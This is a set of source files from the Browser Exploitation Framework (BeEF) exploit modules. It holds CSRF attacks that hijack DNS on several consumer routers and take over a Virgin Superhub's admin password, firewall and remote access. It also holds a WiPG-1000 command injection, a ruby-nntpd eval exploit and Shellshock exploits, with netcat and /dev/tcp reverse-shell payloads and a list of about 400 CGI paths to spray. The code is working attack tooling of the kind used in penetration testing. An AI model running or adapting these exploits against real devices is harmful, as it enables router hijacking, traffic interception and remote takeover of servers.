# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Tenda_adsl_dns_hijack < BeEF::Core::Command def self.options [ { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1' }, { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' }, { 'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/router/tplink_dns_csrf/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { // config var dhcp_start = '192.168.1.100'; var dhcp_end = '192.168.1.199'; var target = 'http://<%= @rhost %>/userRpm/LanDhcpServerRpm.htm'; var dns1 = '<%= @dns1 %>'; var dns2 = '<%= @dns2 %>'; var timeout = 15; // validate DNS server IP addresses if (!beef.net.is_valid_ip(dns1)) { beef.debug('Invalid Primary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); return; } if (!beef.net.is_valid_ip(dns2)) { beef.debug('Invalid Secondary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); return; } // change DNS var tplink_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [ {'type':'hidden', 'name':'dhcpserver', 'value':'1'}, {'type':'hidden', 'name':'ip1', 'value':dhcp_start}, {'type':'hidden', 'name':'ip2', 'value':dhcp_end}, {'type':'hidden', 'name':'Lease', 'value':'120'}, {'type':'hidden', 'name':'gateway', 'value':'0.0.0.0'}, {'type':'hidden', 'name':'domain', 'value':''}, {'type':'hidden', 'name':'dnsserver', 'value':dns1}, {'type':'hidden', 'name':'dnsserver2', 'value':dns2}, {'type':'hidden', 'name':'Save', 'value': unescape('%B1%A3+%B4%E6')} ]); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); // clean up cleanup = function() { document.body.removeChild(tplink_iframe_<%= @command_id %>); } setTimeout("cleanup()", timeout*1000); });
YAML
beef/modules/exploits/router/tplink_dns_csrf/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # References: # CVE-2013-2645 # http://securityevaluators.com/knowledge/case_studies/routers/tp-link_wr1043n.php # http://www.jakoblell.com/blog/2013/10/30/real-world-csrf-attack-hijacks-dns-server-configuration-of-tp-link-routers-2/ # http://news.softpedia.com/news/Cybercriminals-Exploit-TP-Link-Router-CSRF-Vulnerabilities-to-Hijack-DNS-Settings-395545.shtml # beef: module: tplink_dns_csrf: enable: true category: ["Exploits", "Router"] name: "TP-Link DNS Hijack CSRF" description: "Attempts to change the DNS setting on a TP-Link router (WR1043ND, TL-MR3020, TL-WDR3600).<br/><br/>The browser must be have an authenticated session on the router.<br/><br/>The list of affected devices includes:<br/>TP-Link WR1043ND V1 up to firmware version 3.3.12 build 120405<br/>TP-Link TL-MR3020 firmware version 3.14.2 Build 120817 Rel.55520n and version 3.15.2 Build 130326 Rel.58517n<br/>TL-WDR3600 firmware version 3.13.26 Build 130129 Rel.59449n and version 3.13.31 Build 130320 Rel.55761n.<br/><br/>This module has not been tested." authors: ["Jakob Lell", "Jacob Holcomb"] target: unknown: ["ALL"]
Ruby
beef/modules/exploits/router/tplink_dns_csrf/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Tplink_dns_csrf < BeEF::Core::Command def self.options [ { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1' }, { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' }, { 'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/router/utstarcom_wa3002g4_dns_hijack/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { // config var target = 'http://<%= @rhost %>/dnscfg.cgi'; var dns1 = '<%= @dns1 %>'; var dns2 = '<%= @dns2 %>'; var timeout = 15; // validate DNS server IP addresses if (!beef.net.is_valid_ip(dns1)) { beef.debug('Invalid Primary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); return; } if (!beef.net.is_valid_ip(dns2)) { beef.debug('Invalid Secondary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); return; } // change DNS var utstarcom_wa3002G4_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [ {'type':'hidden', 'name':'dnsPrimary', 'value': dns1}, {'type':'hidden', 'name':'dnsSecondary', 'value': dns2}, {'type':'hidden', 'name':'dnsDynamic', 'value': '0'}, {'type':'hidden', 'name':'dnsRefresh', 'value': '1'} ]); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); // clean up cleanup = function() { document.body.removeChild(utstarcom_wa3002G4_iframe_<%= @command_id %>); } setTimeout("cleanup()", timeout*1000); });
YAML
beef/modules/exploits/router/utstarcom_wa3002g4_dns_hijack/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # References: # https://www.exploit-db.com/exploits/42194/ # beef: module: utstarcom_wa3002g4_dns_hijack: enable: true category: ["Exploits", "Router"] name: "UTstarcom WA3002G4 DNS Hijack" description: "Attempts to change the DNS setting on a UTstarcom WA3002G4 router.<br/><br/>This router reportedly does not require authentication to change the DNS servers.<br/><br/>This module has not been tested." authors: ["Todor Donev"] target: unknown: ["ALL"]
Ruby
beef/modules/exploits/router/utstarcom_wa3002g4_dns_hijack/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Utstarcom_wa3002g4_dns_hijack < BeEF::Core::Command def self.options [ { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1' }, { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' }, { 'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/router/virgin_superhub_csrf/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var gateway = '<%= @base %>'; var passwd = '<%= @password %>'; var port = '<%= @port %>'; var timeout = 15; var virgin_superhub_iframe1_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + "goform/RgSecurity", "POST", "application/x-www-form-urlencoded", [ {'type':'hidden', 'name':'NetgearPassword', 'value':passwd}, {'type':'hidden', 'name':'NetgearPasswordReEnter', 'value':passwd}, {'type':'hidden', 'name':'RestoreFactoryNo', 'value':'0x00'} ]); var virgin_superhub_iframe2_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + "goform/RgServices", "POST", "application/x-www-form-urlencoded", [ {'type':'hidden', 'name':'cbPortScanDetection', 'value':''} ]); var virgin_superhub_iframe3_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + "goform/RgVMRemoteManagementRes", "POST", "application/x-www-form-urlencoded", [ {'type':'hidden', 'name':'NetgearVMRmEnable', 'value':'0x01'}, {'type':'hidden', 'name':'NetgearVMRmPortNumber', 'value':port} ]); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); cleanup = function() { document.body.removeChild(virgin_superhub_iframe1_<%= @command_id %>); document.body.removeChild(virgin_superhub_iframe2_<%= @command_id %>); document.body.removeChild(virgin_superhub_iframe3_<%= @command_id %>); } setTimeout("cleanup()", timeout*1000); });
YAML
beef/modules/exploits/router/virgin_superhub_csrf/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: virgin_superhub_csrf: enable: true category: ["Exploits", "Router"] name: "Virgin Superhub CSRF" description: "Attempts to enable remote administration, disable the firewall, and change the admin password on a Virgin Superhub router." authors: ["bcoles", "n0x00"] target: working: ["ALL"]
Ruby
beef/modules/exploits/router/virgin_superhub_csrf/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Virgin_superhub_csrf < BeEF::Core::Command def self.options [ { 'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.100.1/' }, { 'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__' }, { 'name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/router/wipg1000_cmd_injection/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; var lhost = '<%= @lhost %>'; var lport = '<%= @lport %>'; var timeout = 15; var url = "http://" + rhost + ":" + rport + "/cgi-bin/rdfs.cgi"; var fifo = '/tmp/' + Math.random().toString(36).substring(7); var payload = 'mkfifo ' + fifo + '; nc ' + lhost + ' ' + lport + ' 0<' + fifo + ' | /bin/sh >' + fifo + ' 2>&1; rm ' + fifo; beef.debug("[WiPG-1000 Command Injection] Sending payload: " + url); var wipg1000_cmd_injection_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm( url, 'POST', 'application/x-www-form-urlencoded', [ {'type':'hidden', 'name':'Client', 'value':';' + payload + ';'}, {'type':'hidden', 'name':'Download', 'value':'Download'} ]); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); cleanup = function() { document.body.removeChild(wipg1000_cmd_injection_iframe_<%= @command_id %>); } setTimeout("cleanup()", timeout*1000); });
YAML
beef/modules/exploits/router/wipg1000_cmd_injection/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: wipg1000_cmd_injection: enable: true category: ["Exploits", "Router"] name: "WiPG-1000 Command Injection" description: "This module exploits a <a href='https://www.redguard.ch/advisories/wepresent-wipg1000.txt'>command injection vulnerability</a> in WiPG-1000 routers.<br/>An authenticated session is not required.<br/><br/>Successful exploitation results in a reverse shell. Be sure to start your shell handler on the local interface and port specified below.<br/><br/>This module has not been tested." authors: ["Matthias Brun"] target: working: ["ALL"]
Ruby
beef/modules/exploits/router/wipg1000_cmd_injection/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Wipg1000_cmd_injection < BeEF::Core::Command def self.options @configuration = BeEF::Core::Configuration.instance lhost = @configuration.beef_host lhost = '' if lhost.to_s.eql?('0.0.0.0') [ { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.100.10' }, { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' }, { 'name' => 'lhost', 'ui_label' => 'Local Host', 'value' => lhost }, { 'name' => 'lport', 'ui_label' => 'Local Port', 'value' => '4444' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/ruby_nntpd_cmd_exec/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; var timeout = '<%= @timeout %>'; // validate payload try { var cmd = '<%= @cmd.gsub(/'/, "\\\'").gsub(/"/, '\\\"') %>'; var payload = '\r\neval `'+cmd+'`\r\nexit\r\n'; } catch(e) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed payload: '+e.toString()); return; } // validate target details if (!rport || !rhost) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed remote host or remote port'); return; } if (!beef.net.is_valid_port(rport)) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid remote port'); return; } // send commands var nntpd_iframe_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, "/index.html", payload); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=sent commands"); // clean up cleanup = function() { document.body.removeChild(nntpd_iframe_<%= @command_id %>); } setTimeout("cleanup()", timeout*1000); });
YAML
beef/modules/exploits/ruby_nntpd_cmd_exec/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: ruby_nntpd_cmd_exec: enable: true category: "Exploits" name: "ruby-nntpd Command Execution" description: "This module uses the 'eval' verb in ruby-nntpd 0.01dev (default port 1119) to execute operating system commands.<br /><br />The target address can be on the hooked browser's subnet which is potentially not directly accessible from the Internet.<br/><br/>The results of the commands are not returned to BeEF." authors: ["bcoles"] target: working: ["FF", "C"] not_working: ["IE"]
Ruby
beef/modules/exploits/ruby_nntpd_cmd_exec/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission ### # ruby-nntpd homepage: http://code.google.com/p/ruby-nntpd/ ### class Ruby_nntpd_cmd_exec < BeEF::Core::Command def self.options [ { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1' }, { 'name' => 'rport', 'ui_label' => 'Remote Port', 'value' => '1119' }, { 'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '15' }, { 'name' => 'cmd', 'ui_label' => 'Commands', 'description' => 'Enter shell commands to execute.', 'type' => 'textarea', 'value' => 'nc -l -p 1337 -e /bin/sh', 'width' => '200px' } ] end def post_execute save({ 'result' => @datastore['result'] }) unless @datastore['result'].nil? save({ 'fail' => @datastore['fail'] }) unless @datastore['fail'].nil? end end
JavaScript
beef/modules/exploits/shell_shocked/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function () { try { var target = "<%=@Target%>"; var command = "<%=@Bash_Command%>"; var method = "<%=@method%>"; var xhr = new XMLHttpRequest(); xhr.open(method, target, true); xhr.onload = function () { }; xhr.onreadystatechange = function () { if (xhr.readyState == 4 && xhr.status == 200) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+xhr.response); } } xhr.setRequestHeader("Accept", "() { test;};echo \"Content-type: text/plain\"; echo; echo; " + command); xhr.send(null); } catch (e){ beef.net.send("<%= @command_url %>", <%= @command_id %>, "result= Something wrong "+e.message); } });
YAML
beef/modules/exploits/shell_shocked/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: Shell_shocked: enable: true category: "Exploits" name: "Shell Shock" description: "Attempt to use vulnerability CVE-2014-627 to execute arbitrary code. The default command attempts to get a reverse shell.<br/>Note: Set the LHOST and LPORT." authors: ["Stephane Chazelas", "mz", "radoen"] target: working: ["All"]
Ruby
beef/modules/exploits/shell_shocked/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Shell_shocked < BeEF::Core::Command def self.options configuration = BeEF::Core::Configuration.instance lhost = configuration.beef_host lhost = 'LHOST' if lhost == '0.0.0.0' payload = "/bin/bash -i >& /dev/tcp/#{lhost}/LPORT 0>&1" [ { 'name' => 'Target', 'description' => 'Vulnerable cgi script path', 'ui_label' => 'Target', 'value' => 'http://127.0.0.1/cgi-bin/test.cgi' }, { 'name' => 'method', 'ui_label' => 'HTTP Method', 'value' => 'GET' }, { 'name' => 'Bash_Command', 'description' => 'the command to execute', 'ui_label' => 'Bash Command', 'value' => payload } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/shell_shock_scanner/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rproto = '<%= @rproto %>'; var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; var lhost = '<%= @lhost %>'; var lport = '<%= @lport %>'; var target = rproto + '://' + rhost + ':' + rport; var method = '<%= @method %>'; var wait = '<%= @wait %>'; get_cgi = function(uri) { try { var payload = "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/"+lhost+"/"+lport+" 0>&1 &"; var xhr = new XMLHttpRequest(); xhr.open(method, target+uri, true); xhr.onload = function () { }; xhr.onreadystatechange = function () { if (xhr.readyState == 4 && xhr.status == 200) { beef.debug("[command #<%= @command_id %>] Response: " + xhr.response); } } xhr.setRequestHeader("Accept", payload); xhr.send(null); } catch (e){ beef.debug("[command #<%= @command_id %>] Something went wrong: " + e.message); } } // add scripts to queue var requests = new Array( <%= scripts = [] File.open("#{$root_dir}/modules/exploits/shell_shock_scanner/shocker-cgi_list", 'r') do |file_handle| file_handle.each_line do |line| uri = line.chomp! next if uri =~ /^#/ next if uri.nil? scripts << "'#{uri}'" end end scripts.shuffle.join(",\n") %> ); // process queue beef.debug("[command #<%= @command_id %>] Starting Shellshock scan of "+target+" ("+requests.length+" URLs)"); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=starting scan of "+target+" ("+requests.length+" URLs)"); var timeout = wait * requests.length + 10; var handle = setInterval(function() { if (requests.length > 0) { get_cgi(requests.pop()); } else cleanup(); }, wait*1000); // clean up cleanup = function() { if (handle) { beef.debug("[command #<%= @command_id %>] Killing timer [ID: " + handle + "]"); clearInterval(handle); handle = 0; beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=scan complete"); } } setTimeout("cleanup();", timeout*1000); });
YAML
beef/modules/exploits/shell_shock_scanner/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: shell_shock_scanner: enable: true category: "Exploits" name: "Shell Shock Scanner (Reverse Shell)" description: "This module attempts to get a reverse shell on the specified web server, blindly, by requesting ~400 potentially vulnerable CGI scripts. Each CGI is requested with a shellshock payload in the 'Accept' HTTP header.<br/>The list of CGI scripts was taken from <a href='https://github.com/nccgroup/shocker'>Shocker</a>.<br/><br/>The scan will take about 2 minutes with the default settings. Successful exploitation results in a reverse shell. Be sure to start your shell handler on the local port specified below." authors: ["Stephane Chazelas", "mz", "bmantra", "radoen", "bcoles"] target: working: ["ALL"]
Ruby
beef/modules/exploits/shell_shock_scanner/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Shell_shock_scanner < BeEF::Core::Command def self.options configuration = BeEF::Core::Configuration.instance lhost = configuration.beef_host lhost = '' if lhost == '0.0.0.0' [ { 'name' => 'method', 'ui_label' => 'HTTP Method', 'value' => 'GET' }, { 'name' => 'rproto', 'type' => 'combobox', 'ui_label' => 'Target Protocol', 'store_type' => 'arraystore', 'store_fields' => ['rproto'], 'store_data' => [ ['http'], ['https'] ], 'emptyText' => 'Select a protocol (HTTP/HTTPS)', 'valueField' => 'rproto', 'displayField' => 'rproto', 'mode' => 'local', 'autoWidth' => true }, { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '127.0.0.1' }, { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' }, { 'name' => 'lhost', 'ui_label' => 'Local Host', 'value' => lhost }, { 'name' => 'lport', 'ui_label' => 'Local Port', 'value' => '4444' }, { 'name' => 'wait', 'ui_label' => 'Wait between requests (s)', 'value' => '0.3', 'width' => '100px' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
beef/modules/exploits/shell_shock_scanner/shocker-cgi_list
# Resource file for shocker.py # List of pages/scripts potentially vulnerable to Shellshock # One per line, no commas, spaces, tabs, etc. # Credits to the following from whence many were borrowed: # https://github.com/mubix/shellshocker-pocs/blob/master/shell_sprayer.py # http://patrickpierson.us/wp-content/uploads/2014/09/shellshock.txt # http://khalil-shreateh.com/khalil.shtml/index.php/websites/websites-security/201-ais-shellshock-scanning-tool-that-leverages-the-user-agent-header-against-a-large-list-of-possible-targets-written-in-c.html?showall=1 # http://www.linuxfeed.org/2014/10/advanced-information-security-shellshock-scanner/ # https://github.com/francisck/shellshock-cgi/blob/master/shellshock_cgi.py # http://shellshock.detectify.com / /admin.cgi /administrator.cgi /agora.cgi /aktivate/cgi-bin/catgy.cgi /analyse.cgi /apps/web/vs_diag.cgi /axis-cgi/buffer/command.cgi /b2-include/b2edit.showposts.php /bandwidth/index.cgi /bigconf.cgi /cartcart.cgi /cart.cgi /ccbill/whereami.cgi /cgi-bin/14all-1.1.cgi /cgi-bin/14all.cgi /cgi-bin/a1disp3.cgi /cgi-bin/a1stats/a1disp3.cgi /cgi-bin/a1stats/a1disp4.cgi /cgi-bin/addbanner.cgi /cgi-bin/add_ftp.cgi /cgi-bin/adduser.cgi /cgi-bin/admin/admin.cgi /cgi-bin/admin.cgi /cgi-bin/admin/getparam.cgi /cgi-bin/adminhot.cgi /cgi-bin/admin.pl /cgi-bin/admin/setup.cgi /cgi-bin/adminwww.cgi /cgi-bin/af.cgi /cgi-bin/aglimpse.cgi /cgi-bin/alienform.cgi /cgi-bin/AnyBoard.cgi /cgi-bin/architext_query.cgi /cgi-bin/astrocam.cgi /cgi-bin/AT-admin.cgi /cgi-bin/AT-generate.cgi /cgi-bin/auction/auction.cgi /cgi-bin/auktion.cgi /cgi-bin/ax-admin.cgi /cgi-bin/ax.cgi /cgi-bin/axs.cgi /cgi-bin/badmin.cgi /cgi-bin/banner.cgi /cgi-bin/bannereditor.cgi /cgi-bin/bb-ack.sh /cgi-bin/bb-histlog.sh /cgi-bin/bb-hist.sh /cgi-bin/bb-hostsvc.sh /cgi-bin/bb-replog.sh /cgi-bin/bb-rep.sh /cgi-bin/bbs_forum.cgi /cgi-bin/bigconf.cgi /cgi-bin/bizdb1-search.cgi /cgi-bin/blog/mt-check.cgi /cgi-bin/blog/mt-load.cgi /cgi-bin/bnbform.cgi /cgi-bin/book.cgi /cgi-bin/boozt/admin/index.cgi /cgi-bin/bsguest.cgi /cgi-bin/bslist.cgi /cgi-bin/build.cgi /cgi-bin/bulk/bulk.cgi /cgi-bin/cached_feed.cgi /cgi-bin/cachemgr.cgi /cgi-bin/calendar/index.cgi /cgi-bin/cartmanager.cgi /cgi-bin/cbmc/forums.cgi /cgi-bin/ccvsblame.cgi /cgi-bin/c_download.cgi /cgi-bin/cgforum.cgi /cgi-bin/.cgi /cgi-bin/cgi_process /cgi-bin/classified.cgi /cgi-bin/classifieds.cgi /cgi-bin/classifieds/classifieds.cgi /cgi-bin/classifieds/index.cgi /cgi-bin/.cobalt/alert/service.cgi /cgi-bin/.cobalt/message/message.cgi /cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi /cgi-bin/commandit.cgi /cgi-bin/commerce.cgi /cgi-bin/common/listrec.pl /cgi-bin/compatible.cgi /cgi-bin/Count.cgi /cgi-bin/csChatRBox.cgi /cgi-bin/csGuestBook.cgi /cgi-bin/csLiveSupport.cgi /cgi-bin/CSMailto.cgi /cgi-bin/CSMailto/CSMailto.cgi /cgi-bin/csNews.cgi /cgi-bin/csNewsPro.cgi /cgi-bin/csPassword.cgi /cgi-bin/csPassword/csPassword.cgi /cgi-bin/csSearch.cgi /cgi-bin/csv_db.cgi /cgi-bin/cvsblame.cgi /cgi-bin/cvslog.cgi /cgi-bin/cvsquery.cgi /cgi-bin/cvsqueryform.cgi /cgi-bin/day5datacopier.cgi /cgi-bin/day5datanotifier.cgi /cgi-bin/db_manager.cgi /cgi-bin/dbman/db.cgi /cgi-bin/dcforum.cgi /cgi-bin/dcshop.cgi /cgi-bin/dfire.cgi /cgi-bin/diagnose.cgi /cgi-bin/dig.cgi /cgi-bin/directorypro.cgi /cgi-bin/download.cgi /cgi-bin/e87_Ba79yo87.cgi /cgi-bin/emu/html/emumail.cgi /cgi-bin/emumail.cgi /cgi-bin/emumail/emumail.cgi /cgi-bin/enter.cgi /cgi-bin/environ.cgi /cgi-bin/ezadmin.cgi /cgi-bin/ezboard.cgi /cgi-bin/ezman.cgi /cgi-bin/ezshopper2/loadpage.cgi /cgi-bin/ezshopper3/loadpage.cgi /cgi-bin/ezshopper/loadpage.cgi /cgi-bin/ezshopper/search.cgi /cgi-bin/faqmanager.cgi /cgi-bin/FileSeek2.cgi /cgi-bin/FileSeek.cgi /cgi-bin/finger.cgi /cgi-bin/flexform.cgi /cgi-bin/fom.cgi /cgi-bin/fom/fom.cgi /cgi-bin/FormHandler.cgi /cgi-bin/FormMail.cgi /cgi-bin/gbadmin.cgi /cgi-bin/gbook/gbook.cgi /cgi-bin/generate.cgi /cgi-bin/getdoc.cgi /cgi-bin/gH.cgi /cgi-bin/gm-authors.cgi /cgi-bin/gm.cgi /cgi-bin/gm-cplog.cgi /cgi-bin/guestbook.cgi /cgi-bin/handler /cgi-bin/handler.cgi /cgi-bin/handler/netsonar /cgi-bin/hitview.cgi /cgi-bin/hsx.cgi /cgi-bin/html2chtml.cgi /cgi-bin/html2wml.cgi /cgi-bin/htsearch.cgi /cgi-bin/icat /cgi-bin/if/admin/nph-build.cgi /cgi-bin/ikonboard/help.cgi /cgi-bin/ImageFolio/admin/admin.cgi /cgi-bin/imageFolio.cgi /cgi-bin/index.cgi /cgi-bin/infosrch.cgi /cgi-bin/jammail.pl /cgi-bin/journal.cgi /cgi-bin/lastlines.cgi /cgi-bin/loadpage.cgi /cgi-bin/login.cgi /cgi-bin/logit.cgi /cgi-bin/log-reader.cgi /cgi-bin/lookwho.cgi /cgi-bin/lwgate.cgi /cgi-bin/MachineInfo /cgi-bin/MachineInfo /cgi-bin/magiccard.cgi /cgi-bin/mail/emumail.cgi /cgi-bin/maillist.cgi /cgi-bin/mailnews.cgi /cgi-bin/mail/nph-mr.cgi /cgi-bin/main.cgi /cgi-bin/main_menu.pl /cgi-bin/man.sh /cgi-bin/mini_logger.cgi /cgi-bin/mmstdod.cgi /cgi-bin/moin.cgi /cgi-bin/mojo/mojo.cgi /cgi-bin/mrtg.cgi /cgi-bin/mt.cgi /cgi-bin/mt/mt.cgi /cgi-bin/mt/mt-check.cgi /cgi-bin/mt/mt-load.cgi /cgi-bin/mt-static/mt-check.cgi /cgi-bin/mt-static/mt-load.cgi /cgi-bin/musicqueue.cgi /cgi-bin/myguestbook.cgi /cgi-bin/.namazu.cgi /cgi-bin/nbmember.cgi /cgi-bin/netauth.cgi /cgi-bin/netpad.cgi /cgi-bin/newsdesk.cgi /cgi-bin/nlog-smb.cgi /cgi-bin/nph-emumail.cgi /cgi-bin/nph-exploitscanget.cgi /cgi-bin/nph-publish.cgi /cgi-bin/nph-test.cgi /cgi-bin/pagelog.cgi /cgi-bin/pbcgi.cgi /cgi-bin/perlshop.cgi /cgi-bin/pfdispaly.cgi /cgi-bin/pfdisplay.cgi /cgi-bin/phf.cgi /cgi-bin/photo/manage.cgi /cgi-bin/photo/protected/manage.cgi /cgi-bin/php-cgi /cgi-bin/php.cgi /cgi-bin/php.fcgi /cgi-bin/ping.sh /cgi-bin/pollit/Poll_It_SSI_v2.0.cgi /cgi-bin/pollssi.cgi /cgi-bin/postcards.cgi /cgi-bin/powerup/r.cgi /cgi-bin/printenv /cgi-bin/probecontrol.cgi /cgi-bin/profile.cgi /cgi-bin/publisher/search.cgi /cgi-bin/quickstore.cgi /cgi-bin/quizme.cgi /cgi-bin/ratlog.cgi /cgi-bin/r.cgi /cgi-bin/register.cgi /cgi-bin/replicator/webpage.cgi/ /cgi-bin/responder.cgi /cgi-bin/robadmin.cgi /cgi-bin/robpoll.cgi /cgi-bin/rtpd.cgi /cgi-bin/sbcgi/sitebuilder.cgi /cgi-bin/scoadminreg.cgi /cgi-bin-sdb/printenv /cgi-bin/sdbsearch.cgi /cgi-bin/search /cgi-bin/search.cgi /cgi-bin/search/search.cgi /cgi-bin/sendform.cgi /cgi-bin/shop.cgi /cgi-bin/shopper.cgi /cgi-bin/shopplus.cgi /cgi-bin/showcheckins.cgi /cgi-bin/simplestguest.cgi /cgi-bin/simplestmail.cgi /cgi-bin/smartsearch.cgi /cgi-bin/smartsearch/smartsearch.cgi /cgi-bin/snorkerz.bat /cgi-bin/snorkerz.bat /cgi-bin/snorkerz.cmd /cgi-bin/snorkerz.cmd /cgi-bin/sojourn.cgi /cgi-bin/spin_client.cgi /cgi-bin/start.cgi /cgi-bin/status /cgi-bin/status_cgi /cgi-bin/store/agora.cgi /cgi-bin/store.cgi 